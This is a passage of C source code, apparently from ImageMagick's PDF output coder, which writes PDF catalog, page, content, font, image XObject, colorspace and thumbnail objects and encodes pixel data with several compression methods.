(void) WriteBlobByte(image,0xd3);
(void) WriteBlobByte(image,'\n');
}
/*
Write Catalog object.
*/
xref[object++]=TellBlob(image);
root_id=object;
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"<<\n");
if (LocaleCompare(image_info->magick,"PDFA") != 0)
(void) FormatLocaleString(buffer,MagickPathExtent,"/Pages %.20g 0 R\n",
(double) object+1);
else
{
(void) FormatLocaleString(buffer,MagickPathExtent,"/Metadata %.20g 0 R\n",
(double) object+1);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Pages %.20g 0 R\n",
(double) object+2);
}
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"/Type /Catalog");
option=GetImageOption(image_info,"pdf:page-direction");
if ((option != (const char *) NULL) &&
(LocaleCompare(option,"right-to-left") == 0))
(void) WriteBlobString(image,"/ViewerPreferences<</PageDirection/R2L>>\n");
(void) WriteBlobString(image,"\n");
(void) WriteBlobString(image,">>\n");
(void) WriteBlobString(image,"endobj\n");
GetPathComponent(image->filename,BasePath,basename);
if (LocaleCompare(image_info->magick,"PDFA") == 0)
{
char
create_date[MagickPathExtent],
modify_date[MagickPathExtent],
timestamp[MagickPathExtent],
*url,
xmp_profile[MagickPathExtent];
/*
Write XMP object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"<<\n");
(void) WriteBlobString(image,"/Subtype /XML\n");
*modify_date='\0';
value=GetImageProperty(image,"date:modify",exception);
if (value != (const char *) NULL)
(void) CopyMagickString(modify_date,value,MagickPathExtent);
*create_date='\0';
value=GetImageProperty(image,"date:create",exception);
if (value != (const char *) NULL)
(void) CopyMagickString(create_date,value,MagickPathExtent);
(void) FormatMagickTime(time((time_t *) NULL),MagickPathExtent,timestamp);
url=(char *) MagickAuthoritativeURL;
escape=EscapeParenthesis(basename);
i=FormatLocaleString(xmp_profile,MagickPathExtent,XMPProfile,
XMPProfileMagick,modify_date,create_date,timestamp,url,escape,url);
escape=DestroyString(escape);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Length %.20g\n",
(double) i);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"/Type /Metadata\n");
(void) WriteBlobString(image,">>\nstream\n");
(void) WriteBlobString(image,xmp_profile);
(void) WriteBlobString(image,"\nendstream\n");
(void) WriteBlobString(image,"endobj\n");
}
/*
Write Pages object.
*/
xref[object++]=TellBlob(image);
pages_id=object;
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"<<\n");
(void) WriteBlobString(image,"/Type /Pages\n");
(void) FormatLocaleString(buffer,MagickPathExtent,"/Kids [ %.20g 0 R ",
(double) object+1);
(void) WriteBlobString(image,buffer);
count=(ssize_t) (pages_id+ObjectsPerImage+1);
page_count=1;
if (image_info->adjoin != MagickFalse)
{
Image
*kid_image;
/*
Predict page object id's.
*/
kid_image=image;
for ( ; GetNextImageInList(kid_image) != (Image *) NULL; count+=ObjectsPerImage)
{
page_count++;
profile=GetImageProfile(kid_image,"icc");
if (profile != (StringInfo *) NULL)
count+=2;
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 R ",(double)
count);
(void) WriteBlobString(image,buffer);
kid_image=GetNextImageInList(kid_image);
}
xref=(MagickOffsetType *) ResizeQuantumMemory(xref,(size_t) count+2048UL,
sizeof(*xref));
if (xref == (MagickOffsetType *) NULL)
ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed");
}
(void) WriteBlobString(image,"]\n");
(void) FormatLocaleString(buffer,MagickPathExtent,"/Count %.20g\n",(double)
page_count);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,">>\n");
(void) WriteBlobString(image,"endobj\n");
scene=0;
imageListLength=GetImageListLength(image);
do
{
MagickBooleanType
has_icc_profile;
profile=GetImageProfile(image,"icc");
has_icc_profile=(profile != (StringInfo *) NULL) ? MagickTrue : MagickFalse;
compression=image->compression;
if (image_info->compression != UndefinedCompression)
compression=image_info->compression;
switch (compression)
{
case FaxCompression:
case Group4Compression:
{
if ((SetImageMonochrome(image,exception) == MagickFalse) ||
(image->alpha_trait != UndefinedPixelTrait))
compression=RLECompression;
break;
}
#if !defined(MAGICKCORE_JPEG_DELEGATE)
case JPEGCompression:
{
compression=RLECompression;
(void) ThrowMagickException(exception,GetMagickModule(),
MissingDelegateError,"DelegateLibrarySupportNotBuiltIn","`%s' (JPEG)",
image->filename);
break;
}
#endif
#if !defined(MAGICKCORE_LIBOPENJP2_DELEGATE)
case JPEG2000Compression:
{
compression=RLECompression;
(void) ThrowMagickException(exception,GetMagickModule(),
MissingDelegateError,"DelegateLibrarySupportNotBuiltIn","`%s' (JP2)",
image->filename);
break;
}
#endif
#if !defined(MAGICKCORE_ZLIB_DELEGATE)
case ZipCompression:
{
compression=RLECompression;
(void) ThrowMagickException(exception,GetMagickModule(),
MissingDelegateError,"DelegateLibrarySupportNotBuiltIn","`%s' (ZLIB)",
image->filename);
break;
}
#endif
case LZWCompression:
{
if (LocaleCompare(image_info->magick,"PDFA") == 0)
compression=RLECompression; /* LZW compression is forbidden */
break;
}
case NoCompression:
{
if (LocaleCompare(image_info->magick,"PDFA") == 0)
compression=RLECompression; /* ASCII 85 compression is forbidden */
break;
}
default:
break;
}
if (compression == JPEG2000Compression)
(void) TransformImageColorspace(image,sRGBColorspace,exception);
/*
Scale relative to dots-per-inch.
*/
delta.x=DefaultResolution;
delta.y=DefaultResolution;
resolution.x=image->resolution.x;
resolution.y=image->resolution.y;
if ((resolution.x == 0.0) || (resolution.y == 0.0))
{
flags=ParseGeometry(PSDensityGeometry,&geometry_info);
resolution.x=geometry_info.rho;
resolution.y=geometry_info.sigma;
if ((flags & SigmaValue) == 0)
resolution.y=resolution.x;
}
if (image_info->density != (char *) NULL)
{
flags=ParseGeometry(image_info->density,&geometry_info);
resolution.x=geometry_info.rho;
resolution.y=geometry_info.sigma;
if ((flags & SigmaValue) == 0)
resolution.y=resolution.x;
}
if (image->units == PixelsPerCentimeterResolution)
{
resolution.x=(double) ((size_t) (100.0*2.54*resolution.x+0.5)/100.0);
resolution.y=(double) ((size_t) (100.0*2.54*resolution.y+0.5)/100.0);
}
SetGeometry(image,&geometry);
(void) FormatLocaleString(page_geometry,MagickPathExtent,"%.20gx%.20g",
(double) image->columns,(double) image->rows);
if (image_info->page != (char *) NULL)
(void) CopyMagickString(page_geometry,image_info->page,MagickPathExtent);
else
if ((image->page.width != 0) && (image->page.height != 0))
(void) FormatLocaleString(page_geometry,MagickPathExtent,
"%.20gx%.20g%+.20g%+.20g",(double) image->page.width,(double)
image->page.height,(double) image->page.x,(double) image->page.y);
else
if ((image->gravity != UndefinedGravity) &&
(LocaleCompare(image_info->magick,"PDF") == 0))
(void) CopyMagickString(page_geometry,PSPageGeometry,
MagickPathExtent);
(void) ConcatenateMagickString(page_geometry,">",MagickPathExtent);
(void) ParseMetaGeometry(page_geometry,&geometry.x,&geometry.y,
&geometry.width,&geometry.height);
scale.x=(double) (geometry.width*delta.x)/resolution.x;
geometry.width=(size_t) floor(scale.x+0.5);
scale.y=(double) (geometry.height*delta.y)/resolution.y;
geometry.height=(size_t) floor(scale.y+0.5);
(void) ParseAbsoluteGeometry(page_geometry,&media_info);
(void) ParseGravityGeometry(image,page_geometry,&page_info,exception);
if (image->gravity != UndefinedGravity)
{
geometry.x=(-page_info.x);
geometry.y=(ssize_t) (media_info.height+page_info.y-image->rows);
}
pointsize=12.0;
if (image_info->pointsize != 0.0)
pointsize=image_info->pointsize;
text_size=0;
value=GetImageProperty(image,"label",exception);
if (value != (const char *) NULL)
text_size=(size_t) (MultilineCensus(value)*pointsize+12);
(void) text_size;
/*
Write Page object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"<<\n");
(void) WriteBlobString(image,"/Type /Page\n");
(void) FormatLocaleString(buffer,MagickPathExtent,"/Parent %.20g 0 R\n",
(double) pages_id);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"/Resources <<\n");
labels=(char **) NULL;
value=GetImageProperty(image,"label",exception);
if (value != (const char *) NULL)
labels=StringToList(value);
if (labels != (char **) NULL)
{
(void) FormatLocaleString(buffer,MagickPathExtent,
"/Font << /F%.20g %.20g 0 R >>\n",(double) image->scene,(double)
object+4);
(void) WriteBlobString(image,buffer);
}
(void) FormatLocaleString(buffer,MagickPathExtent,
"/XObject << /Im%.20g %.20g 0 R >>\n",(double) image->scene,(double)
object+5);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/ProcSet %.20g 0 R >>\n",
(double) object+3);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,
"/MediaBox [0 0 %g %g]\n",72.0*media_info.width/resolution.x,
72.0*media_info.height/resolution.y);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,
"/CropBox [0 0 %g %g]\n",72.0*media_info.width/resolution.x,
72.0*media_info.height/resolution.y);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Contents %.20g 0 R\n",
(double) object+1);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Thumb %.20g 0 R\n",
(double) object+(has_icc_profile != MagickFalse ? 10 : 8));
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,">>\n");
(void) WriteBlobString(image,"endobj\n");
/*
Write Contents object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"<<\n");
(void) FormatLocaleString(buffer,MagickPathExtent,"/Length %.20g 0 R\n",
(double) object+1);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,">>\n");
(void) WriteBlobString(image,"stream\n");
offset=TellBlob(image);
(void) WriteBlobString(image,"q\n");
if (labels != (char **) NULL)
for (i=0; labels[i] != (char *) NULL; i++)
{
(void) WriteBlobString(image,"BT\n");
(void) FormatLocaleString(buffer,MagickPathExtent,"/F%.20g %g Tf\n",
(double) image->scene,pointsize);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g %.20g Td\n",
(double) geometry.x,(double) (geometry.y+geometry.height+i*pointsize+
12));
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"(%s) Tj\n",
labels[i]);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"ET\n");
labels[i]=DestroyString(labels[i]);
}
(void) FormatLocaleString(buffer,MagickPathExtent,
"%g 0 0 %g %.20g %.20g cm\n",scale.x,scale.y,(double) geometry.x,
(double) geometry.y);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Im%.20g Do\n",(double)
image->scene);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"Q\n");
offset=TellBlob(image)-offset;
(void) WriteBlobString(image,"\nendstream\n");
(void) WriteBlobString(image,"endobj\n");
/*
Write Length object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g\n",(double)
offset);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"endobj\n");
/*
Write Procset object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
if ((image->storage_class == DirectClass) || (image->colors > 256))
(void) CopyMagickString(buffer,"[ /PDF /Text /ImageC",MagickPathExtent);
else
if ((compression == FaxCompression) || (compression == Group4Compression))
(void) CopyMagickString(buffer,"[ /PDF /Text /ImageB",MagickPathExtent);
else
(void) CopyMagickString(buffer,"[ /PDF /Text /ImageI",MagickPathExtent);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image," ]\n");
(void) WriteBlobString(image,"endobj\n");
/*
Write Font object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"<<\n");
if (labels != (char **) NULL)
{
(void) WriteBlobString(image,"/Type /Font\n");
(void) WriteBlobString(image,"/Subtype /Type1\n");
(void) FormatLocaleString(buffer,MagickPathExtent,"/Name /F%.20g\n",
(double) image->scene);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"/BaseFont /Helvetica\n");
(void) WriteBlobString(image,"/Encoding /MacRomanEncoding\n");
labels=(char **) RelinquishMagickMemory(labels);
}
(void) WriteBlobString(image,">>\n");
(void) WriteBlobString(image,"endobj\n");
/*
Write XObject object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"<<\n");
(void) WriteBlobString(image,"/Type /XObject\n");
(void) WriteBlobString(image,"/Subtype /Image\n");
(void) FormatLocaleString(buffer,MagickPathExtent,"/Name /Im%.20g\n",
(double) image->scene);
(void) WriteBlobString(image,buffer);
switch (compression)
{
case NoCompression:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,
"ASCII85Decode");
break;
}
case JPEGCompression:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,"DCTDecode");
if (image->colorspace != CMYKColorspace)
break;
(void) WriteBlobString(image,buffer);
(void) CopyMagickString(buffer,"/Decode [1 0 1 0 1 0 1 0]\n",
MagickPathExtent);
break;
}
case JPEG2000Compression:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,"JPXDecode");
if (image->colorspace != CMYKColorspace)
break;
(void) WriteBlobString(image,buffer);
(void) CopyMagickString(buffer,"/Decode [1 0 1 0 1 0 1 0]\n",
MagickPathExtent);
break;
}
case LZWCompression:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,"LZWDecode");
break;
}
case ZipCompression:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,
"FlateDecode");
break;
}
case FaxCompression:
case Group4Compression:
{
(void) CopyMagickString(buffer,"/Filter [ /CCITTFaxDecode ]\n",
MagickPathExtent);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/DecodeParms [ << "
"/K %s /BlackIs1 false /Columns %.20g /Rows %.20g >> ]\n",CCITTParam,
(double) image->columns,(double) image->rows);
break;
}
default:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,
"RunLengthDecode");
break;
}
}
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Width %.20g\n",(double)
image->columns);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Height %.20g\n",(double)
image->rows);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/ColorSpace %.20g 0 R\n",
(double) object+2);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/BitsPerComponent %d\n",
(compression == FaxCompression) || (compression == Group4Compression) ?
1 : 8);
(void) WriteBlobString(image,buffer);
if (image->alpha_trait != UndefinedPixelTrait)
{
(void) FormatLocaleString(buffer,MagickPathExtent,"/SMask %.20g 0 R\n",
(double) object+(has_icc_profile != MagickFalse ? 9 : 7));
(void) WriteBlobString(image,buffer);
}
(void) FormatLocaleString(buffer,MagickPathExtent,"/Length %.20g 0 R\n",
(double) object+1);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,">>\n");
(void) WriteBlobString(image,"stream\n");
offset=TellBlob(image);
number_pixels=(MagickSizeType) image->columns*image->rows;
if ((4*number_pixels) != (MagickSizeType) ((size_t) (4*number_pixels)))
ThrowPDFException(ResourceLimitError,"MemoryAllocationFailed");
if ((compression == FaxCompression) || (compression == Group4Compression) ||
((image_info->type != TrueColorType) &&
(SetImageGray(image,exception) != MagickFalse)))
{
switch (compression)
{
case FaxCompression:
case Group4Compression:
{
if (LocaleCompare(CCITTParam,"0") == 0)
{
(void) HuffmanEncodeImage(image_info,image,image,exception);
break;
}
(void) Huffman2DEncodeImage(image_info,image,image,exception);
break;
}
case JPEGCompression:
{
status=InjectImageBlob(image_info,image,image,"jpeg",exception);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case JPEG2000Compression:
{
status=InjectImageBlob(image_info,image,image,"jp2",exception);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case RLECompression:
default:
{
MemoryInfo
*pixel_info;
/*
Allocate pixel array.
*/
length=(size_t) number_pixels;
pixel_info=AcquireVirtualMemory(length,sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
ThrowPDFException(ResourceLimitError,"MemoryAllocationFailed");
pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);
/*
Dump Runlength encoded pixels.
*/
q=pixels;
for (y=0; y < (ssize_t) image->rows; y++)
{
p=GetVirtualPixels(image,0,y,image->columns,1,exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
*q++=ScaleQuantumToChar(ClampToQuantum(GetPixelLuma(image,p)));
p+=GetPixelChannels(image);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,(MagickOffsetType)
y,image->rows);
if (status == MagickFalse)
break;
}
}
#if defined(MAGICKCORE_ZLIB_DELEGATE)
if (compression == ZipCompression)
status=ZLIBEncodeImage(image,length,pixels,exception);
else
#endif
if (compression == LZWCompression)
status=LZWEncodeImage(image,length,pixels,exception);
else
status=PackbitsEncodeImage(image,length,pixels,exception);
pixel_info=RelinquishVirtualMemory(pixel_info);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case NoCompression:
{
/*
Dump uncompressed PseudoColor packets.
*/
Ascii85Initialize(image);
for (y=0; y < (ssize_t) image->rows; y++)
{
p=GetVirtualPixels(image,0,y,image->columns,1,exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
Ascii85Encode(image,ScaleQuantumToChar(ClampToQuantum(
GetPixelLuma(image,p))));
p+=GetPixelChannels(image);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,(MagickOffsetType)
y,image->rows);
if (status == MagickFalse)
break;
}
}
Ascii85Flush(image);
break;
}
}
}
else
if ((image->storage_class == DirectClass) || (image->colors > 256) ||
(compression == JPEGCompression) ||
(compression == JPEG2000Compression))
switch (compression)
{
case JPEGCompression:
{
status=InjectImageBlob(image_info,image,image,"jpeg",exception);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case JPEG2000Compression:
{
status=InjectImageBlob(image_info,image,image,"jp2",exception);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case RLECompression:
default:
{
MemoryInfo
*pixel_info;
/*
Allocate pixel array.
*/
length=(size_t) number_pixels;
length*=image->colorspace == CMYKColorspace ? 4UL : 3UL;
pixel_info=AcquireVirtualMemory(length,sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
{
xref=(MagickOffsetType *) RelinquishMagickMemory(xref);
ThrowPDFException(ResourceLimitError,"MemoryAllocationFailed");
}
pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);
/*
Dump runoffset encoded pixels.
*/
q=pixels;
for (y=0; y < (ssize_t) image->rows; y++)
{
p=GetVirtualPixels(image,0,y,image->columns,1,exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
*q++=ScaleQuantumToChar(GetPixelRed(image,p));
*q++=ScaleQuantumToChar(GetPixelGreen(image,p));
*q++=ScaleQuantumToChar(GetPixelBlue(image,p));
if (image->colorspace == CMYKColorspace)
*q++=ScaleQuantumToChar(GetPixelBlack(image,p));
p+=GetPixelChannels(image);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,(MagickOffsetType)
y,image->rows);
if (status == MagickFalse)
break;
}
}
#if defined(MAGICKCORE_ZLIB_DELEGATE)
if (compression == ZipCompression)
status=ZLIBEncodeImage(image,length,pixels,exception);
else
#endif
if (compression == LZWCompression)
status=LZWEncodeImage(image,length,pixels,exception);
else
status=PackbitsEncodeImage(image,length,pixels,exception);
pixel_info=RelinquishVirtualMemory(pixel_info);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case NoCompression:
{
/*
Dump uncompressed DirectColor packets.
*/
Ascii85Initialize(image);
for (y=0; y < (ssize_t) image->rows; y++)
{
p=GetVirtualPixels(image,0,y,image->columns,1,exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
Ascii85Encode(image,ScaleQuantumToChar(GetPixelRed(image,p)));
Ascii85Encode(image,ScaleQuantumToChar(GetPixelGreen(image,p)));
Ascii85Encode(image,ScaleQuantumToChar(GetPixelBlue(image,p)));
if (image->colorspace == CMYKColorspace)
Ascii85Encode(image,ScaleQuantumToChar(
GetPixelBlack(image,p)));
p+=GetPixelChannels(image);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,(MagickOffsetType)
y,image->rows);
if (status == MagickFalse)
break;
}
}
Ascii85Flush(image);
break;
}
}
else
{
/*
Dump number of colors and colormap.
*/
switch (compression)
{
case RLECompression:
default:
{
MemoryInfo
*pixel_info;
/*
Allocate pixel array.
*/
length=(size_t) number_pixels;
pixel_info=AcquireVirtualMemory(length,sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
{
xref=(MagickOffsetType *) RelinquishMagickMemory(xref);
ThrowPDFException(ResourceLimitError,
"MemoryAllocationFailed");
}
pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);
/*
Dump Runlength encoded pixels.
*/
q=pixels;
for (y=0; y < (ssize_t) image->rows; y++)
{
p=GetVirtualPixels(image,0,y,image->columns,1,exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
*q++=(unsigned char) GetPixelIndex(image,p);
p+=GetPixelChannels(image);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,
(MagickOffsetType) y,image->rows);
if (status == MagickFalse)
break;
}
}
#if defined(MAGICKCORE_ZLIB_DELEGATE)
if (compression == ZipCompression)
status=ZLIBEncodeImage(image,length,pixels,exception);
else
#endif
if (compression == LZWCompression)
status=LZWEncodeImage(image,length,pixels,exception);
else
status=PackbitsEncodeImage(image,length,pixels,exception);
pixel_info=RelinquishVirtualMemory(pixel_info);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case NoCompression:
{
/*
Dump uncompressed PseudoColor packets.
*/
Ascii85Initialize(image);
for (y=0; y < (ssize_t) image->rows; y++)
{
p=GetVirtualPixels(image,0,y,image->columns,1,exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
Ascii85Encode(image,(unsigned char) GetPixelIndex(image,p));
p+=GetPixelChannels(image);
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,
(MagickOffsetType) y,image->rows);
if (status == MagickFalse)
break;
}
}
Ascii85Flush(image);
break;
}
}
}
offset=TellBlob(image)-offset;
(void) WriteBlobString(image,"\nendstream\n");
(void) WriteBlobString(image,"endobj\n");
/*
Write Length object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g\n",(double)
offset);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"endobj\n");
/*
Write Colorspace object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
device="DeviceRGB";
channels=0;
if (image->colorspace == CMYKColorspace)
{
device="DeviceCMYK";
channels=4;
}
else
if ((compression == FaxCompression) ||
(compression == Group4Compression) ||
((image_info->type != TrueColorType) &&
(SetImageGray(image,exception) != MagickFalse)))
{
device="DeviceGray";
channels=1;
}
else
if ((image->storage_class == DirectClass) ||
(image->colors > 256) || (compression == JPEGCompression) ||
(compression == JPEG2000Compression))
{
device="DeviceRGB";
channels=3;
}
profile=GetImageProfile(image,"icc");
if ((profile == (StringInfo *) NULL) || (channels == 0))
{
if (channels != 0)
(void) FormatLocaleString(buffer,MagickPathExtent,"/%s\n",device);
else
(void) FormatLocaleString(buffer,MagickPathExtent,
"[ /Indexed /%s %.20g %.20g 0 R ]\n",device,(double) image->colors-
1,(double) object+3);
(void) WriteBlobString(image,buffer);
}
else
{
const unsigned char
*p;
/*
Write ICC profile.
*/
(void) FormatLocaleString(buffer,MagickPathExtent,
"[/ICCBased %.20g 0 R]\n",(double) object+1);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"endobj\n");
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",
(double) object);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"<<\n/N %.20g\n"
"/Filter /ASCII85Decode\n/Length %.20g 0 R\n/Alternate /%s\n>>\n"
"stream\n",(double) channels,(double) object+1,device);
(void) WriteBlobString(image,buffer);
offset=TellBlob(image);
Ascii85Initialize(image);
p=GetStringInfoDatum(profile);
for (i=0; i < (ssize_t) GetStringInfoLength(profile); i++)
Ascii85Encode(image,(unsigned char) *p++);
Ascii85Flush(image);
offset=TellBlob(image)-offset;
(void) WriteBlobString(image,"endstream\n");
(void) WriteBlobString(image,"endobj\n");
/*
Write Length object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",
(double) object);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g\n",(double)
offset);
(void) WriteBlobString(image,buffer);
}
(void) WriteBlobString(image,"endobj\n");
/*
Write Thumb object.
*/
SetGeometry(image,&geometry);
(void) ParseMetaGeometry("106x106+0+0>",&geometry.x,&geometry.y,
&geometry.width,&geometry.height);
tile_image=ThumbnailImage(image,geometry.width,geometry.height,exception);
if (tile_image == (Image *) NULL)
return(MagickFalse);
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"<<\n");
switch (compression)
{
case NoCompression:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,
"ASCII85Decode");
break;
}
case JPEGCompression:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,"DCTDecode");
if (image->colorspace != CMYKColorspace)
break;
(void) WriteBlobString(image,buffer);
(void) CopyMagickString(buffer,"/Decode [1 0 1 0 1 0 1 0]\n",
MagickPathExtent);
break;
}
case JPEG2000Compression:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,"JPXDecode");
if (image->colorspace != CMYKColorspace)
break;
(void) WriteBlobString(image,buffer);
(void) CopyMagickString(buffer,"/Decode [1 0 1 0 1 0 1 0]\n",
MagickPathExtent);
break;
}
case LZWCompression:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,"LZWDecode");
break;
}
case ZipCompression:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,
"FlateDecode");
break;
}
case FaxCompression:
case Group4Compression:
{
(void) CopyMagickString(buffer,"/Filter [ /CCITTFaxDecode ]\n",
MagickPathExtent);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/DecodeParms [ << "
"/K %s /BlackIs1 false /Columns %.20g /Rows %.20g >> ]\n",CCITTParam,
(double) tile_image->columns,(double) tile_image->rows);
break;
}
default:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,
"RunLengthDecode");
break;
}
}
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Width %.20g\n",(double)
tile_image->columns);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Height %.20g\n",(double)
tile_image->rows);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/ColorSpace %.20g 0 R\n",
(double) object-(has_icc_profile != MagickFalse ? 3 : 1));
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/BitsPerComponent %d\n",
(compression == FaxCompression) || (compression == Group4Compression) ?
1 : 8);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Length %.20g 0 R\n",
(double) object+1);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,">>\n");
(void) WriteBlobString(image,"stream\n");
offset=TellBlob(image);
number_pixels=(MagickSizeType) tile_image->columns*tile_image->rows;
if ((compression == FaxCompression) ||
(compression == Group4Compression) ||
((image_info->type != TrueColorType) &&
(SetImageGray(tile_image,exception) != MagickFalse)))
{
